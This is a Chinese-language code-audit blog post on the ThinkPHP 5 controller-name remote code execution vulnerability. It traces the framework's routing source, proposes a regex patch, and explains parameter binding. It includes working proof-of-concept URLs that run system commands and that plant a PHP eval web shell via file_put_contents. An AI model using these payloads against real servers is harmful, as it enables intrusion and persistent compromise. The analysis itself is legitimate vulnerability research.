漏洞原理
该漏洞存在两种利用方式
- 控制器名未过滤导致rce
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
- 核心类 Request 远程代码执行
filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数。执行回调函数的函数为`call_user_func()
核心版需要开启debug模式
代码审计
首先要理解thinkphp是怎么处理路由的
thinkphp/library/think/App.php#run()函数就是用于处理请求和生成响应
代码第116行,这里调用的routeCheck()函数就是路由处理函数
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
routeCheck()
public static function routeCheck($request, array $config)
{
$path = $request->path(); //获取路径
$depr = $config['pathinfo_depr']; //获取配置文件
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
这个函数就是用配置的路由规则去检测我们请求的路由,如果符合就会返回路由的相关信息,如果不符合还会调用解析url检测的方法parseUrl()
跟进这个方法,发现这个方法通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将它们封装为$route,最终返回['type' => 'module', 'module' => $route]`数组,作为App.php中$dispatch的值,并传入exec()函数中
追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]`
继续跟进exec()函数
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
这里由于parseUrl()返回的是module,所以我们只看$dispatch['type']='module'这种情况
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
这里又调了module()方法
这个方法就对传入的控制器以及操作进行了一定的检验然后用invokeMethod()来调用
return self::invokeMethod($call, $vars);
invokeMethod()
/**
* 调用反射执行类的方法 支持参数绑定
* @access public
* @param string|array $method 方法
* @param array $vars 变量
* @return mixed
*/
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
通过反射来调用控制器中的方法
漏洞分析
纵观整个代码,它对url的校验是欠缺的,而且url是用户完全可控的,并且还可以调用控制器的方法,我们很有可能通过url来调用敏感方法,进而执行命令。
thinkphp/library/think/App.php
/**
* 执行函数或者闭包方法 支持参数调用
* @access public
* @param string|array|\Closure $function 函数或者闭包
* @param array $vars 变量
* @return mixed
*/
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
当前文件下的invokeFunction()就是一个可以执行敏感操作的方法,它可以通过调用ReflectionFunction反射调用程序中的函数
接下来考虑要怎么通过
模块/控制器/操作/的方法调用这个方法
模块:默认index即可,因为大多数网站都有这个模块,而且每个模块都会加载app.php
文件
控制器:该文件的命名空间为 think,类名为 app,我们的控制器便可以构造成 \think/app
操作:invokeFunction
poc
http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[1]);?>
漏洞修复
protected static function exec($dispatch, $config) //line:445-483
{
switch ($dispatch['type']) {
……
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
……
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
public static function module($result, $config, $convert = null) //line:494-608
{
……
if ($config['app_multi_module']) {
// 多模块部署
// 获取模块名
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
}
……
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
……
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 获取当前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
在33、34行中间插入以下代码即可修复
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
这里就是加了一个正则匹配,匹配的对象就是$controller,我们传入的$controller=think\app
是过不了这个正则匹配的,会进入if循环直接报错。
一个有意思的问题
别人的文章都是调用的是call_user_funcarray()函数,我就在想直接调用system函数可以不可以。因为光从代码层面来看,invokeFunction()应该是可以调用任意函数的。
于是我构造了以下payload
http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=system&vars[0]=whoami
不过很遗憾,页面报错了
经过几次调试后终于发现为什么了,问题出在调用函数的参数上
invokeFunction()
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
bindParams()
private static function bindParams($reflect, $vars = [])
{
// 自动获取请求变量
if (empty($vars)) {
$vars = Config::get('url_param_type') ?
Request::instance()->route() :
Request::instance()->param();
}
$args = [];
if ($reflect->getNumberOfParameters() > 0) {
// 判断数组类型 数字数组时按顺序绑定参数
reset($vars);
$type = key($vars) === 0 ? 1 : 0;
foreach ($reflect->getParameters() as $param) {
$args[] = self::getParamValue($param, $vars, $type);
}
}
return $args;
}
在这个foreach循环中,它的循环次数是由$reflect->getParameters()决定的,也就是说你调用的函数有几个参数他就会循环几次。
因为system()函数是有两个参数的,所以这里会循环两次
我们再进入getParamValue()看看
private static function getParamValue($param, &$vars, $type)
{
$name = $param->getName();
$class = $param->getClass();
if ($class) {
$className = $class->getName();
$bind = Request::instance()->$name;
if ($bind instanceof $className) {
$result = $bind;
} else {
if (method_exists($className, 'invoke')) {
$method = new \ReflectionMethod($className, 'invoke');
if ($method->isPublic() && $method->isStatic()) {
return $className::invoke(Request::instance());
}
}
$result = method_exists($className, 'instance') ?
$className::instance() :
new $className;
}
} elseif (1 == $type && !empty($vars)) {
$result = array_shift($vars);
} elseif (0 == $type && isset($vars[$name])) {
$result = $vars[$name];
} elseif ($param->isDefaultValueAvailable()) {
$result = $param->getDefaultValue();
} else {
throw new \InvalidArgumentException('method param miss:' . $name);
}
return $result;
}
第一次循环我们的参数是"whoami",会进入第一个elseif,正常执行。
但是第二次循环,已经没有参数了,就会进入else里面,这里就抛出了异常。
那么我给system传两个参数不就可以了吗?讲道理是这样的,但是system的第二个参数是一个变量,我们通过url传入的参数统统会解析成字符串,到后面执行命令的时候也会报错
"Parameter 2 to system()expected to be a reference, value given"
这就是为什么system不行,那么理论上只要选一个参数为字符串类型的命令执行函数,并且传入所有参数就可以命令执行
这里测试我选的是shell_exec()函数,它只接收一个参数,并且参数为字符串类型
然后就成功le
标签:5.0,5.1,vars,self,dispatch,reflect,controller,代码执行,config From: https://www.cnblogs.com/Litsasuk/p/18390779